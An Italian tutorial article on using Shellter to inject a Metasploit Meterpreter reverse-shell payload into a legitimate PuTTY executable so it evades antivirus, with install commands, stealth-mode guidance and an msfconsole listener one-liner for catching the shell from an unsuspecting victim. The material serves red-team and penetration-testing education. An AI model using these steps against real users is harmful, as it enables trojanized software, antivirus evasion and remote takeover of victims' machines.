Shellter è un tool che permette l’injection di uno shellcode all’interno di un “Portable Executable” (PE) file, allo scopo di eludere i software di sicurezza: rappresenta, dunque, uno strumento molto utile per Red Team e penetration tester in quanto consente di testare la sicurezza di un sistema informatico.
Cobalt Strike, il tool di sicurezza che piace tanto ai cyber criminali
Indice degli argomenti
Che cos’è un file PE
Il formato Portable Executable (PE) è una struttura dati che incapsula le informazioni necessarie per il loader di Windows, al fine di gestire il codice eseguibile. Ad esempio, un PE potrebbe essere il file di setup di un qualunque programma o degli eseguibili (notepad.exe, calc.exe, svchost.exe, spotifysetup.exe, puTTY.exe ecc.)
Il file PE contiene intestazioni che dettagliano il modo in cui il file dovrebbe essere caricato nella memoria, dove inizia il codice eseguibile, come gestire le importazioni e le esportazioni (ossia le funzioni e le variabili che il programma condivide con altre DLL o eseguibili), le risorse di cui il programma ha bisogno (come le icone e i menu), e molte altre informazioni utili per il loader del sistema operativo.
Il formato PE è quindi utilizzato per l’esecuzione di programmi in ambienti Windows. Inoltre, non è solo limitato ai file .exe, ma è utilizzato anche per i file .dll e altri tipi di file eseguibili su Windows.
Che cos’è uno Shellcode
Il termine Shellcode viene utilizzato per descrivere un insieme di istruzioni in linguaggio Assembly atte, solitamente, a eseguire una shell. La shell, in informatica, è il punto di dialogo fra l’utilizzatore e il sistema operativo.
Attraverso una shell è possibile impartire comandi, eseguire altri programmi, manipolare parametri e file di configurazione. La sua declinazione, solitamente, è il classico terminale testuale a riga di comando.
Uno Shellcode iniettato nel flusso di un normale programma, diventa un exploit. Alcuni tipi di ShellCode non richiedono la creazione di nuovi processi sulla macchina target e non hanno bisogno di ulteriore codice per la pulizia del processo vittima, in quanto possono ricorrere a librerie presenti all’interno del processo.
Potremmo scrivere noi stessi uno Shellcode o, più comunemente, farlo generare a un framework, tra cui uno dei più popolari è ad esempio Metasploit (se volete addentrarvi ulteriormente nella creazione di uno Shellcode vi rimando qui).
Il tool Shellter sfrutta la struttura originale del file PE, non applicando alcuna modifica (a meno che l’utente non lo desideri) e utilizza un approccio dinamico, adattandosi al flusso di esecuzione dell’applicazione.
In termini più semplici, potremmo dire che il tool permette di modificare un programma esistente per includere funzionalità aggiuntive o comportamenti nascosti.
Come funziona Shellter
A questo punto, dopo aver compreso cos’è il formato Portable Executable (PE) e come funziona uno Shellcode, possiamo iniziare a scoprire utilizzare il tool Shellter, che può essere scaricato da qui.
Il suo funzionamento può essere riassunto in quattro passaggi principali:
- Selezione del target: per prima cosa, va scelto un file eseguibile PE di destinazione. Questo potrebbe essere un qualsiasi file .exe su un sistema Windows, come un’applicazione software o il setup di un gioco.
- Analisi del file: Shellter analizza il file per determinare dove potrebbe essere iniettato lo Shellcode, senza danneggiare le funzionalità esistenti del file.
- Iniezione Shellcode: Shellter inietta lo Shellcode nel file di destinazione. Questo Shellcode potrebbe fare qualsiasi cosa, da aprire una backdoor sul sistema a scaricare ulteriori malware, a seconda di quello che è il suo scopo.
- Modifica dei punti di ingresso: infine, Shellter modifica i punti di ingresso del file di destinazione per assicurarsi che lo Shellcode venga eseguito all’apertura del file, facendo in modo che il file originale continui a eseguire il suo flusso normale di operazioni.
Utilizziamo Shellter in maniera responsabile
Premettiamo che non esiste un metodo univoco per bypassare tutti i software di protezione e gli antivirus in commercio (IDS/EDR/XDR/Antivirus/NextGen AV e via dicendo) e non è neanche questo lo scopo dell’articolo.
Ogni ambiente da testare/penetrare/hackerare dovrebbe essere prima testato e riprodotto in laboratorio, in modo da essere sicuri di raggiungere il risultato previsto.
Installazione del tool
La distro che utilizzeremo nell’esempio è la popolare Kali.
Possiamo installare Shellter in Kali utilizzando il comando apt:
apt-cache search shellter
sudo apt install shellter
Dato che Shellter è progettato per essere eseguito sui sistemi Windows, è opportuno installare anche wine.
Cos’è wine
Wine, acronimo che sta per “Wine Is Not an Emulator”, è un software open source che permette di eseguire applicazioni sviluppate per Microsoft Windows su sistemi operativi Unix-like, come Linux, macOS, & BSD.
Contrariamente a quello che suggerisce il suo nome, agisce come una sorta “layer di compatibilità”, traducendo le chiamate di sistema Windows in chiamate di sistema Linux/Unix istantaneamente. Questo permette alle applicazioni di funzionare come se fossero native del sistema operativo host.
Per installarlo sulla nostra distribuzione Kali, ci basterà eseguire i comandi:
sudo apt install wine
Per la compatibilità win32, lanciamo in successione (con i permessi sudo) i seguenti comandi:
dpkg –add-architecture i386
apt-get update
apt-get install wine32
Per lanciare il tool non dovremo far altro che digitare shellter sul nostro terminale. Il tool si avvierà dietro la console di wine.
Per prima cosa, dovremo scegliere se lanciare il tool in modalità manuale o automatica:
- Modalità automatica: in questa modalità, Shellter prende un file eseguibile legittimo ed inserisce automaticamente all’interno il codice payload, utilizzando tecniche per nasconderlo dai software antivirus. La modalità automatica è più semplice e richiede meno interazione da parte dell’utente. Tutti i passaggi del processo di iniezione vengono eseguiti in maniera automatizzata dal tool stesso.
- Modalità manuale: questa modalità offre un controllo molto più granulare sul processo di iniezione del payload. Permette all’utente di scegliere specifici punti di iniezione all’interno del file eseguibile e di personalizzare il comportamento del codice maligno. Sebbene la modalità manuale richieda una maggiore conoscenza tecnica e più tempo per essere eseguita rispetto alla modalità automatica, può portare a risultati maggiormente efficaci, poiché consente di creare payload unici e meno rilevabili.
Per il nostro scopo utilizzeremo la modalità automatica, digitando sul terminale A.
Il prossimo step prevede l’inserimento del nostro PE target. Ammettiamo di voler manipolare un file eseguibile, che abbiamo visto essere ampiamente utilizzato dalla nostra organizzazione target: PuTTY.
PuTTY è un client ed emulatore di terminale gratuito e open-source, sviluppato originariamente da Simon Tatham per il sistema operativo Windows. È ampiamente utilizzato dai sistemisti e dai programmatori come emulatore di terminale e come client per vari protocolli di rete, tra cui SCP, SSH, Telnet e rlogin.
NOTA: Prima di utilizzare un eseguibile legittimo, sarebbe utile scansionarlo utilizzando uno scanner multi-AV online; a volte, infatti, gli AV producono falsi positivi e sarebbe quindi importante accertarsi che l’eseguibile scelto non ne produca.
Scarichiamo quindi PuTTY da qui (la versione a 32bit), posizionandolo sul nostro Desktop.
Inseriamo il percorso del nostro eseguibile nel tool e diamo Invio.
La prima cosa che Shellter farà sarà eseguire un backup del file originale.
Appena identificato un possibile punto di aggancio dello Shellcode, ci verrà chiesto se vogliamo abilitare la modalità Stealth.
La modalità Stealth in Shellter è una funzionalità avanzata che migliora la capacità di evitare il rilevamento del payload da parte dei software antivirus. Il metodo di iniezione del codice utilizzato da questa modalità rende la rilevazione molto più complessa rispetto alla modalità standard. La funzionalità Stealth fa sì che il payload venga eseguito solo quando vengono soddisfatte determinate condizioni, definite durante il processo di iniezione, e preserva il normale funzionamento dell’applicazione.
Se l’obiettivo è esclusivamente l’esecuzione del payload mediante l’applicazione lecita che lo veicola, non è necessario utilizzare la funzione Stealth. Se, diversamente, l’operazione è atta alla simulazione di un attacco APT da parte di un RedTeam, vi consiglio di utilizzarla al fine di preservare le funzionalità originali dell’applicazione infetta.
Digitiamo Y e continuiamo. Ci vengono presentati, a questo punto, una lista di payloads.
Nel nostro esempio, utilizzeremo la versione del payload classica di Metasploit con il Meterpreter. Quindi: digitiamo L, diamo Invio e successivamente scegliamo l’opzione 1, confermando la nostra scelta.
I prossimi due parametri che setteremo sono molto comuni e utilizzati nelle attività di penetration testing, in particolare quando si sta creando un payload con un tool come Metasploit. Questi parametri vengono utilizzati per definire le impostazioni di connessione per una Reverse Shell o un altro tipo di backdoor:
- LHOST (Local HOST): questo parametro viene utilizzato per specificare l’indirizzo IP della macchina del Penetration Tester (o più genericamente, l’indirizzo IP del sistema che sta ricevendo la connessione). In altre parole, LHOST è l’indirizzo IP a cui la shell inversa o il payload dovrebbe connettersi dopo essere stato eseguito sul sistema di destinazione.
- LPORT (Local PORT): questo parametro viene utilizzato per specificare la porta, sulla macchina del Penetration Tester, che sarà utilizzata per ascoltare le connessioni in entrata dal payload o dalla Reverse Shell. In sostanza, LPORT è la porta su cui il sistema che riceve la connessione sta ascoltando.
Una volta terminata la fase di verifica con successo, la nostra injection sarà terminata.
Il nostro ultimo passo sarà metterci in ascolto per ricevere la Reverse Shell, una volta che la vittima ignara avrà cliccato sull’eseguibile di PuTTY, che assolverà al suo compito originale diventando il nostro cavallo di Troia per veicolare il malware:
msfconsole -x “use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.178.73;set LPORT 443;run;”
dove:
- msfconsole: avvia l’interfaccia della console di Metasploit;
- -x: esegue un comando o una serie di comandi specifici subito dopo l’avvio di Metasploit;
- use exploit/multi/handler: specifica il modulo da utilizzare, in questo caso “exploit/multi/handler”;
- set payload windows/meterpreter/reverse_tcp: imposta il payload che il listener si aspetta di ricevere. In questo caso, il payload è una Shell Meterpreter che utilizza una ReverseShell (TCP) su un sistema Windows;
- set LHOST 192.168.178.73: imposta l’indirizzo IP dell’host locale (LHOST) a “192.168.178.73”;
- set LPORT 443: imposta la porta dell’host locale (LPORT) alla porta 443;
- run: avvia il listener.